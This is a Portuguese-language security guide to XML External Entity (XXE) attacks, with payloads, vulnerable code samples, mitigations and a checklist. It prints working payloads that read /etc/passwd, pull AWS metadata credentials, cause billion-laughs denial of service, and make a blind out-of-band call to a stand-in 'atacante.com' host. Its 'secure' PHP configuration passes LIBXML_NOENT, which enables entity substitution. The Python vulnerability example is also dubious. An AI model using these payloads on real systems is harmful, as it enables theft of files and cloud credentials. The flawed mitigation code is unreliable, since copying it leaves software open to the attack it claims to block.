XML External Entity (XXE) attacks

1. O que são Ataques XXE?

Ataques de XML External Entity (XXE) exploram vulnerabilidades em parsers XML que processam entidades externas definidas no Document Type Definition (DTD). Quando um parser XML mal configurado encontra uma referência a uma entidade externa, ele tenta resolver essa referência, podendo acessar arquivos locais, realizar requisições de rede ou executar outras ações não autorizadas.

O funcionamento básico envolve a definição de entidades no DTD que apontam para recursos externos usando as palavras-chave SYSTEM ou PUBLIC. Existem três tipos principais de XXE:

  • In-band XXE: O atacante recebe diretamente a resposta do servidor contendo os dados extraídos.
  • Out-of-band (blind) XXE: O atacante não vê a resposta direta e precisa usar canais laterais (como DNS ou HTTP) para exfiltrar dados.
  • Error-based XXE: O atacante força o parser a gerar mensagens de erro que contêm informações sensíveis.

2. Cenários de Ataque Comuns

Leitura de Arquivos Locais

O cenário mais comum é a leitura de arquivos do sistema. Um payload típico pode extrair o arquivo de senhas do Linux:

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

Exploração de SSRF via XXE

O atacante pode usar o parser XML para realizar requisições a serviços internos, como o metadata service de cloud providers:

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root>&xxe;</root>

Negação de Serviço (Billion Laughs Attack)

Entidades recursivas podem consumir recursos do servidor:

<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<root>&lol3;</root>

3. Impactos na Segurança da Aplicação

Os impactos de um ataque XXE bem-sucedido podem ser devastadores:

  • Exposição de dados sensíveis: Credenciais de banco de dados, chaves de API, tokens de autenticação e dados de usuários armazenados em arquivos de configuração.
  • Comprometimento de servidores internos: O atacante pode realizar port scanning em redes internas, interagir com serviços de metadados de cloud (AWS, Azure, GCP) e acessar sistemas que não deveriam estar expostos.
  • Execução remota de código: Em configurações específicas (como PHP com wrappers expect ou php://input), o XXE pode evoluir para RCE.

4. Exemplos Práticos de Exploração

Código Vulnerável em Python

import xml.etree.ElementTree as ET

xml_data = """<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>"""

tree = ET.fromstring(xml_data)
print(tree.text)

Código Vulnerável em Java

import javax.xml.parsers.DocumentBuilderFactory;
import org.w3c.dom.Document;

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(new StringReader(xmlData)));

Payload de Leitura de Arquivo

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
  <!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>

Payload de SSRF para AWS

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
  <!ENTITY aws SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">
]>
<data>&aws;</data>

5. Estratégias de Prevenção e Mitigação

Desabilitar Entidades Externas e DTDs

A medida mais eficaz é desabilitar completamente o processamento de DTDs e entidades externas no parser XML.

Configuração Segura em Python

from defusedxml import ElementTree as safe_ET

# A biblioteca defusedxml automaticamente bloqueia entidades externas
tree = safe_ET.fromstring(xml_data)

Configuração Segura em Java

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

Configuração Segura em PHP

libxml_disable_entity_loader(true);
$xml = simplexml_load_string($xmlData, 'SimpleXMLElement', LIBXML_NOENT);

6. Alternativas Seguras ao Processamento de XML

Uso de JSON

JSON não suporta entidades externas, tornando-o inerentemente mais seguro para transferência de dados estruturados. Sempre que possível, prefira JSON sobre XML.

Implementação de Parsers Seguros

  • Python: Use defusedxml em vez de xml.etree.ElementTree padrão.
  • Java: Configure explicitamente as features de segurança no DocumentBuilderFactory.
  • .NET: Defina XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit.

Listas de Permissão para Fontes XML

Se o processamento de XML for inevitável, restrinja as fontes de dados XML a origens confiáveis e valide o schema antes do parsing.

7. Testes e Detecção de Vulnerabilidades XXE

Ferramentas de Análise Estática (SAST)

  • Bandit (Python): Detecta uso de parsers XML inseguros.
  • FindSecBugs (Java): Identifica configurações inseguras de DocumentBuilderFactory.
  • Semgrep: Permite criar regras personalizadas para detectar padrões vulneráveis.

Testes Dinâmicos (DAST)

Utilize payloads de XXE básicos e cegos em campos de entrada que processam XML:

<!-- Teste básico -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY test "XXE_TEST">
]>
<root>&test;</root>

<!-- Teste cego com out-of-band -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://atacante.com/exfil">
  %xxe;
]>
<root>test</root>

Monitoramento de Logs

Configure alertas para requisições externas inesperadas originadas de parsers XML, especialmente para endereços IP internos ou URLs suspeitas.

8. Boas Práticas e Checklist de Segurança

  • [ ] Revisar todas as bibliotecas de processamento XML no projeto e garantir que estejam configuradas para desabilitar DTDs e entidades externas.
  • [ ] Aplicar o princípio do menor privilégio: o processo de parsing XML deve rodar com permissões mínimas (sem acesso a arquivos sensíveis ou rede).
  • [ ] Manter dependências atualizadas: versões antigas de bibliotecas XML (como libxml2) podem conter vulnerabilidades conhecidas.
  • [ ] Implementar validação de schema (XSD) antes do parsing para rejeitar XMLs malformados ou com estruturas inesperadas.
  • [ ] Realizar testes de penetração regulares focados em XXE, especialmente em endpoints que aceitam upload de arquivos XML.
  • [ ] Usar ferramentas de SAST na pipeline de CI/CD para detectar automaticamente configurações inseguras de parsers XML.
  • [ ] Documentar e treinar a equipe de desenvolvimento sobre os riscos de XXE e as práticas seguras de parsing XML.
  • [ ] Em ambientes cloud, restringir o acesso ao metadata service (IMDS) usando firewalls de rede ou tokens de sessão.

Referências